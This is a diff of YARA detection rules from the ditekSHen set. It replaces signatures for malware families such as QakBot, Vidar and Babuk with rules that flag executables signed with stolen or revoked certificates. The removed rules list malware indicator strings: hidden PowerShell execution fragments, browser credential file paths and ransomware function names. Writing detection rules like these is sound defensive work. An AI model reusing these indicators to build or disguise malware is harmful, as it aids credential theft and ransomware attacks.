+rule DITEKSHEN_INDICATOR_KB_CERT_07Cef66A71C35Bc3Aed6D100C6493863 : FILE
 {
 	meta:
-		description = "Detects NWorm/N-W0rm payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "06546ccf-8914-5b1c-942f-99664b9ecf44"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e07b0a2c-64ff-5e12-9f19-00a67a13fb89"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3423-L3443"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4875-L4886"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a1397a057422be260b5bdf1eb58571e95c259c132cc2518b39e1524a0eda9c66"
+		logic_hash = "24b89e65bc9d60a60e57f749735214c462e56c3194906e4bca52d74463617be4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.NWorm"
-
-	strings:
-		$id1 = "N-W0rm" ascii
-		$id2 = "N_W0rm" ascii
-		$x1 = "pongPing" fullword wide
-		$x2 = "|NW|" fullword wide
-		$s1 = "runFile" fullword wide
-		$s2 = "runUrl" fullword wide
-		$s3 = "killer" fullword wide
-		$s4 = "powershell" fullword wide
-		$s5 = "wscript.exe" fullword wide
-		$s6 = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" fullword wide
-		$s7 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" fullword wide
-		$s8 = "Start-Sleep -Seconds 1.5; Remove-Item -Path '" fullword wide
+		thumbprint = "9f65b1f0bed6e58ecdcc30b81b08b350fcc966a1"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($id*) and (1 of ($x*) or 3 of ($s*))) or ( all of ($x*) and 2 of ($s*)) or 7 of ($s*) or 10 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fubon Technologies Ltd" and pe.signatures[i].serial=="07:ce:f6:6a:71:c3:5b:c3:ae:d6:d1:00:c6:49:38:63")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Qakbot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D3356318924C8C42959Bf1D1574E6482 : FILE
 {
 	meta:
-		description = "Detects variants of QakBot payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3a3b3b6c-0969-584e-a184-7acfca3cdd42"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7e23e9cf-5a34-55bb-a88d-4c0aef411372"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3445-L3457"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4888-L4899"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b64c05eb7ac03b2b4709f9979d117e4cacc617f21d0b3bf1c1be42aa18cc44cc"
+		logic_hash = "86ca8da7e9e704f64be8ecd9e270108337d28b540ba8cd669a8d536ccfefea95"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "stager_1.dll" fullword ascii
-		$s2 = "_vsnwprintf" fullword ascii
-		$s3 = "DllRegisterServer" fullword ascii
-		$s4 = "Win32_PnPEntity" fullword wide
-		$s5 = "0>user32.dll" fullword ascii
+		thumbprint = "e21f261f5cf7c2856bd9da5a5ed2c4e2b2ef4c9a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ADV TOURS d.o.o." and pe.signatures[i].serial=="00:d3:35:63:18:92:4c:8c:42:95:9b:f1:d1:57:4e:64:82")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Fonix : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_038Fc745523B41B40D653B83Aa381B80 : FILE
 {
 	meta:
-		description = "Detects Fonix ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d67cce49-5f4f-59f6-b2a9-9c4dd1c6c0f6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ed7581eb-52e7-5216-86a2-079bc5741b05"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3459-L3481"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4901-L4912"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "159b8946f7772c76271de821eb12897689bf73d96fc6a1d7c4a65cdc50b877c7"
+		logic_hash = "b760525c38610b8a5cc990335122eab81cb895dc523908ef841c5c3117a1a372"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.Fonix"
-
-	strings:
-		$s1 = "dontcryptanyway" fullword wide
-		$s2 = "Cpriv.key" ascii wide
-		$s3 = "Cpub.key" ascii wide
-		$s4 = "NetShareEnum() failed!Error: % ld" fullword wide
-		$s5 = "<div class='title'> Attention!</div><ul><li><u><b>DO NOT</b> pay" wide
-		$s6 = "Encryption Completed !!!" fullword wide
-		$s7 = "kill process" fullword ascii
-		$s8 = "Copy SystemID C:\\ProgramData\\SystemID" ascii
-		$id1 = "].FONIX" fullword wide
-		$id2 = "xinofconfig.txt" fullword ascii wide
-		$id3 = "XINOF4MUTEX" wide
-		$id4 = ":\\Fonix\\cryptoPP\\" ascii
-		$id5 = "schtasks /CREATE /SC ONLOGON /TN fonix" ascii
-		$id6 = "Ransomware\\Fonix" ascii
+		thumbprint = "05124a4a385b4b2d7a9b58d1c3ad7f2a84e7b0af"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or 3 of ($id*) or (1 of ($id*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Optima" and pe.signatures[i].serial=="03:8f:c7:45:52:3b:41:b4:0d:65:3b:83:aa:38:1b:80")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Bobik : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ac0A7B9420B369Af3Ddb748385B981 : FILE
 {
 	meta:
-		description = "Detects Bobik infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "12f14151-0c89-519d-85d3-4b4b82a950a3"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0935fd31-3d8f-57d2-a00e-ad7d5cdbe12d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3483-L3498"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4914-L4925"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "735dcb9e04956863305ca89a43686b8e48e3b20784ae9292cfc40d1c2c09d467"
+		logic_hash = "47dca0d0b84dd0d210cf7fdda3bcce796d090e5de3f4266bbed01eebdd397bfa"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Bobik"
-
-	strings:
-		$s1 = "@Default\\Login Data" fullword ascii
-		$s2 = "@Default\\Cookies" fullword ascii
-		$s3 = "@logins.json" fullword ascii
-		$s4 = "@[EXECUTE]" fullword ascii
-		$s5 = "@C:\\Windows\\System32\\cmd.exe" fullword ascii
-		$s6 = /(CHROME|OPERA|FIREFOX)_BASED/ fullword ascii
-		$s7 = "threads.nim" fullword ascii
+		thumbprint = "15b56f8b0b22dbc7c08c00d47ee06b04fa7df5fe"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Tochka" and pe.signatures[i].serial=="00:ac:0a:7b:94:20:b3:69:af:3d:db:74:83:85:b9:81")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Runningrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00913Ba16962Cd7Eee25965A6D0Eeffa10 : FILE
 {
 	meta:
-		description = "Detects RunningRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "161faa8c-614e-5102-bb6d-c1ed4abf8274"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7a053089-44c8-5f30-8eee-dcd4ba24efe8"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3500-L3536"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4927-L4938"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e3cddec792ad95d823190f12970b8e0515b73be4a91f89cbb2bbde2fa1cfde63"
+		logic_hash = "a2e729c053d1a9d5895dc2247ea0804525f8f1744875d5c2f96b4255ad325dc5"
 		score = 75
-		quality = 23
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.RunningRAT"
-
-	strings:
-		$s1 = "%s%d.dll" fullword ascii
-		$s2 = "/c ping 127.0.0.1 -n" ascii
-		$s3 = "del /f/q \"%s\"" ascii
-		$s4 = "GUpdate" fullword ascii
-		$s5 = "%s\\%d.bak" fullword ascii
-		$s6 = "\"%s\",MainThread" ascii
-		$s7 = "rundll32.exe" fullword ascii
-		$rev1 = "emankcosteg" fullword ascii
-		$rev2 = "ini.revreS\\" fullword ascii
-		$rev3 = "daerhTniaM,\"s%\" s%" ascii
-		$rev4 = "s% etadpUllD,\"s%\" 23lldnuR" ascii
-		$rev5 = "---DNE yromeMmorFdaoL" fullword ascii
-		$rev6 = "eMnigulP" fullword ascii
-		$rev7 = "exe.23lldnuR\\" fullword ascii
-		$rev8 = "dnammoc\\nepo\\llehs\\" ascii
-		$rev9 = "\"s%\" k- exe.tsohcvs\\23metsyS\\%%tooRmetsyS%" ascii
-		$rev10 = "emanybtsohteg" fullword ascii
-		$rev11 = "tekcosesolc" fullword ascii
-		$rev12 = "tpokcostes" fullword ascii
-		$rev13 = "emantsohteg" fullword ascii
-		$v2_1 = "%%SystemRoot%%\\System32\\svchost.exe -k \"%s\"" fullword ascii
-		$v2_2 = "LoadFromMemory END---" fullword ascii
-		$v2_3 = "hmProxy!= NULL" fullword ascii
-		$v2_4 = "Rundll32 \"%s\",DllUpdate %s" fullword ascii
-		$v2_5 = "ipip.website" fullword ascii
-		$v2_6 = "%d*%sMHz" fullword ascii
-		$v2_7 = "\\Server.ini" fullword ascii
+		thumbprint = "079aeb295c8e27ac8d9be79c8b0aaf66a0ef15de"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or 5 of ($rev*) or 6 of ($v*) or 8 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JMT TRADING GROUP INC" and pe.signatures[i].serial=="00:91:3b:a1:69:62:cd:7e:ee:25:96:5a:6d:0e:ef:fa:10")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent05 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_F44A91704F9Ea388446D2635F2A8C8A5 : FILE
 {
 	meta:
-		description = "Detects an unknown dropper. Typically exisys as a DLL in base64-encoded gzip-compressed file embedded within another executable"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a8a72484-42be-5c5c-962b-75bed8acdf39"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "52f08ec1-fb83-59bc-bb90-2ae12245c0f7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3538-L3551"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4940-L4953"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e8c7c03451bbfcba7a1ab02f8c1320ad50d17d2e990f0e2f89942faea2a1e531"
+		logic_hash = "cec66648ecde5b11a2a20674b2e1f10c8b917ebeb26ddba0ead2b6af45c8519b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.DLAgent05"
-
-	strings:
-		$s1 = "MARCUS.dll" fullword ascii wide
-		$s2 = "GZipStream" fullword ascii
-		$s3 = "MemoryStream" fullword ascii
-		$s4 = "proj_name" fullword ascii
-		$s5 = "res_name" fullword ascii
+		thumbprint = "573514c39bcef5690ab924f9df30577def6e877f"
+		hash1 = "d67dde5621d6de76562bc2812f04f986b441601b088aa936d821c0504eb4f7aa"
+		hash2 = "71f60a985d2cc9fc47c6845a88eea4da19303a96a2ff69daae70276f70dcdae0"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Binance" and pe.signatures[i].serial=="f4:4a:91:70:4f:9e:a3:88:44:6d:26:35:f2:a8:c8:a5")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nemty : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_029685Cda1C8233D2409A31206F78F9F : FILE
 {
 	meta:
-		description = "Detects Nemty/Nefilim ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "361269c6-5215-5ecf-869c-3c55ff8387e1"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2c1d858b-3adc-5c05-bc72-2a6f12f7245e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3553-L3577"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4955-L4966"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dcebcddc472f4fb3bb34c35fc5a5424e54bfc3a262fdae10b189d210217b9b37"
+		logic_hash = "a7eec901d92d6126cbc4468d7f2fbccc905f550c7dc8d28b405f583cfde9aea3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Go build ID:" ascii
-		$s2 = "GOMAXPROCSGetIfEntryGetVersionGlagoliticKharoshthiManichaeanOld_ItalicOld_PermicOld_TurkicOther_MathPOSTALCODEPhoenicianSaurasht" ascii
-		$s3 = "crypto/x509.ExtKeyUsage" ascii
-		$s4 = "crypto/x509.KeyUsageContentCommitment" ascii
-		$s5 = "DEK-Info header" ascii
-		$s6 = "GetUserProfileDirectoryWMagallanes Standard TimeMontevideo Standard TimeNorth Asia Standard TimePacific SA Standard TimeQueryPerformanceCounter" fullword ascii
-		$s7 = "*( -  <  =  >  k= m=%: +00+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12..." ascii
-		$s8 = "Go cmd/compile go1.10" fullword ascii
-		$s9 = ".dllprogramdatarecycle.bin" ascii
-		$s10 = ".dll.exe.lnk.sys.url" ascii
-		$vx1_1 = "Fa1led to os.OpenFile()" ascii
-		$vx1_2 = "-HELP.txt" ascii
-		$vf1_1 = "main.CTREncrypt" fullword ascii
-		$vf1_2 = "main.FileSearch" fullword ascii
-		$vf1_3 = "main.getdrives" fullword ascii
-		$vf1_4 = "main.RSAEncrypt" fullword ascii
-		$vf1_5 = "main.SaveNote" fullword ascii
+		thumbprint = "86574b0ef7fbce15f208bf801866f34c664cf7ce"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (9 of ($s*) or ( all of ($vx*) and 2 of ($s*)) or all of ($vf*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KOTO TRADE" and pe.signatures[i].serial=="02:96:85:cd:a1:c8:23:3d:24:09:a3:12:06:f7:8f:9f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Qnapcrypt : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Aebe117A13B8Bca21685Df48C74F584D : FILE
 {
 	meta:
-		description = "Detects QnapCrypt/Lockedv1/Cryptfile2 ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3ef5643a-f2af-5d62-8927-e46679e069c2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2b9c40e8-9c0e-523d-b746-4e31d0a780e0"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3579-L3607"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4968-L4979"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "68fc3f0503d82295ffa5bfb49bda8b790142913217775a2812e3965a6c9a1fe1"
+		logic_hash = "cb17c6f311d88125ad0c790c61fe0dd1ffbdefdbea45ffb54c47da5d98f99900"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$go = "Go build ID:" ascii
-		$s1 = "Encrypting %s..." ascii
-		$s2 = "\\Start Menu\\Programs\\StartUp\\READMEV" ascii
-		$s3 = "main.deleteRecycleBin" ascii
-		$s4 = "main.encryptFiles" ascii
-		$s5 = "main.antiVirtualBox" ascii
-		$s6 = "main.antiVmware" ascii
-		$s7 = "main.deleteShadows" ascii
-		$s8 = "main.delUAC" ascii
-		$s9 = "main.KillProcess" ascii
-		$s10 = "main.delExploit" ascii
-		$s11 = "main.encrypt" ascii
-		$s12 = "main.ClearLogDownload" ascii
-		$s13 = "main.ClearLog" ascii
-		$s14 = "main.EndEncrypt" ascii
-		$s15 = "main.RunFuckLogAndSoft" ascii
-		$s16 = "main.ClearUsercache" ascii
-		$s17 = "main.FirstDuty" ascii
-		$s18 = ".lockedv1" ascii
-		$s19 = "WSAStartup\\clear.bat\\ngrok.exe\\video.mp4" ascii
-		$s20 = "net stop " ascii
+		thumbprint = "4dc9713dfb079fbae4173d342ebeb4efb9b0a4dc"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and $go and 6 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NANAX d.o.o." and pe.signatures[i].serial=="00:ae:be:11:7a:13:b8:bc:a2:16:85:df:48:c7:4f:58:4d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Alfonoso : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_38989Ec61Ecdb7391Ff5647F7D58Ad18 : FILE
 {
 	meta:
-		description = "Detects Alfonoso / Shurk / HunterStealer infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2766e74e-c13a-5ce4-8f62-de9cc11e3cf0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "40c742ec-f683-57fe-bb35-7c44617f9199"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3609-L3638"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4981-L4992"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "18e5731ffd70abf2ab70852d54dacc3588dd90cfb4f2ceaee66dfce750535b26"
+		logic_hash = "f2108c41c814a815047268d9934a01231936a1cf73cbb92476eb96c9fe4b1091"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-		snort2_sid = "920102"
-		snort3_sid = "920100"
-		clamav_sig = "MALWARE.Win.Trojan.Alfonso"
-
-	strings:
-		$s1 = "%s\\etilqs_" fullword ascii
-		$s2 = "SELECT name, rootpage, sql FROM '%q'.%s" fullword ascii
-		$s3 = "%s-mj%08X" fullword ascii
-		$s4 = "| Site:" ascii
-		$s5 = "| Login:" ascii
-		$s6 = "| Password:" ascii
-		$s7 = "| BUILD NAME:" ascii
-		$s8 = "recursive_directory_iterator" ascii
-		$s9 = { 2e 7a 69 70 00 00 00 00 2e 7a 6f 6f 00 00 00 00
-                2e 61 72 63 00 00 00 00 2e 6c 7a 68 00 00 00 00
-                2e 61 72 6a 00 00 00 00 2e 67 7a 00 2e 74 67 7a
-                00 00 00 00 }
-		$s10 = "Shurk Steal" fullword ascii
-		$s11 = ":memory:" fullword ascii
-		$s12 = "current_path()" fullword ascii
-		$s13 = "vtab:%p:%p" fullword ascii
-		$f1 = "chatlog.txt" ascii
-		$f2 = "servers.fav" ascii
-		$f3 = "\\USERDATA.DAT" fullword ascii
+		thumbprint = "71e74a735c72d220aa45e9f1b83f0b867f2da166"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (8 of ($s*) or (6 of ($s*) and 2 of ($f*)) or ( all of ($f*) and 5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RotA Games ApS" and pe.signatures[i].serial=="38:98:9e:c6:1e:cd:b7:39:1f:f5:64:7f:7d:58:ad:18")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Vidar : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D08D83Ff118Df3777E371C5C482Cce7B : FILE
 {
 	meta:
-		description = "Detects Vidar / ArkeiStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d858c463-26d7-5f96-ad9a-cb261a8c61c6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d4857ec5-2c99-51f8-a5b8-938c8d83169e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3640-L3650"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4994-L5005"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c95c8694c05ff0e8d28f098e668a8ae8fa70130e31af6c0e540c4e5596007e41"
+		logic_hash = "b6c7f5c57c79d11132535bedce77276f67c4f854f5e8ef2c12aced64f8a188d0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\"os_crypt\":{\"encrypted_key\":\"" fullword ascii
-		$s2 = "screenshot.jpg" fullword wide
-		$s3 = "Content-Disposition: form-data; name=\"" ascii
+		thumbprint = "8a1bcf92ea961b8bc8817b0630f34607ccb5bff2"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMO-K Limited Liability Company" and pe.signatures[i].serial=="00:d0:8d:83:ff:11:8d:f3:77:7e:37:1c:5c:48:2c:ce:7b")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Babuk : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_249E3F1B7595E7D0Fe6Df13303287343 : FILE
 {
 	meta:
-		description = "Detects Babuk ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6bb7093f-bbef-5b43-b4f9-be72ae4ef319"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "3f780428-a482-5201-a7ca-d3608779a5e4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3652-L3674"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5007-L5018"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5ca5c5106747cf8f4ccd5df4ddbc78321fea3c8f533cb807a704d270eb956007"
+		logic_hash = "4df122a53f2c1a08d1694c8e64b802f58507bb985f1aed8c91e6d7ad24906fca"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ecdh_pub_k.bin" wide
-		$s2 = "How To Restore Your Files.txt" wide
-		$s3 = /(babuk|babyk)\s(ransomware|locker)/ ascii nocase
-		$s4 = "/login.php?id=" ascii
-		$s5 = "http://babuk" ascii
-		$s6 = "bootsect.bak" fullword wide
-		$s7 = "Can't open file after killHolder" ascii
-		$s8 = "Can't OpenProcess" ascii
-		$s9 = "DoYouWantToHaveSexWithCuongDong" ascii
-		$arg1 = "-lanfirst" fullword ascii
-		$arg2 = "-lansecond" fullword ascii
-		$arg3 = "-nolan" fullword ascii
-		$arg4 = "shares" fullword wide
-		$arg5 = "paths" fullword wide
-		$arg6 = "gdebug" fullword wide
+		thumbprint = "8e99b2786f59e543d1f3d02d140e35342c55c18a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) or (3 of ($arg*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "gsLPuSUgRZueWihiZHqYBriNSQqS" and pe.signatures[i].serial=="24:9e:3f:1b:75:95:e7:d0:fe:6d:f1:33:03:28:73:43")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nitol : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_31D852F5Fca1A5966B5Ed08A14825C54 : FILE
 {
 	meta:
-		description = "Detects Nitol backdoor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d545f826-11ff-5d0f-9a95-8232b19d35b6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8d65caa2-ce28-5f9b-b8a5-3fe903dd5628"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3676-L3704"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5020-L5031"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c0ddcd6179bea2f3af77ae198e07f55f62884e07a975623ae41bcec163060f89"
+		logic_hash = "e2890f8c623ce15d8a3f996e87be4b73a8cd9f96386ce8d356d7e0fad0342dd3"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "%$#@!.aspGET ^&*().htmlGET" ascii
-		$s2 = "Applications\\iexplore.exe\\shell\\open\\command" fullword ascii
-		$s3 = "taskkill /f /im rundll32.exe" fullword ascii
-		$s4 = "\\Tencent\\Users\\*.*" fullword ascii
-		$s5 = "[Pause Break]" fullword ascii
-		$s6 = ":]%d-%d-%d  %d:%d:%d" fullword ascii
-		$s7 = "GET %s HTTP/1.1" fullword ascii
-		$s8 = "GET %s%s HTTP/1.1" fullword ascii
-		$s9 = "Accept-Language: zh-cn" fullword ascii
-		$s10 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1)" fullword ascii
-		$s11 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
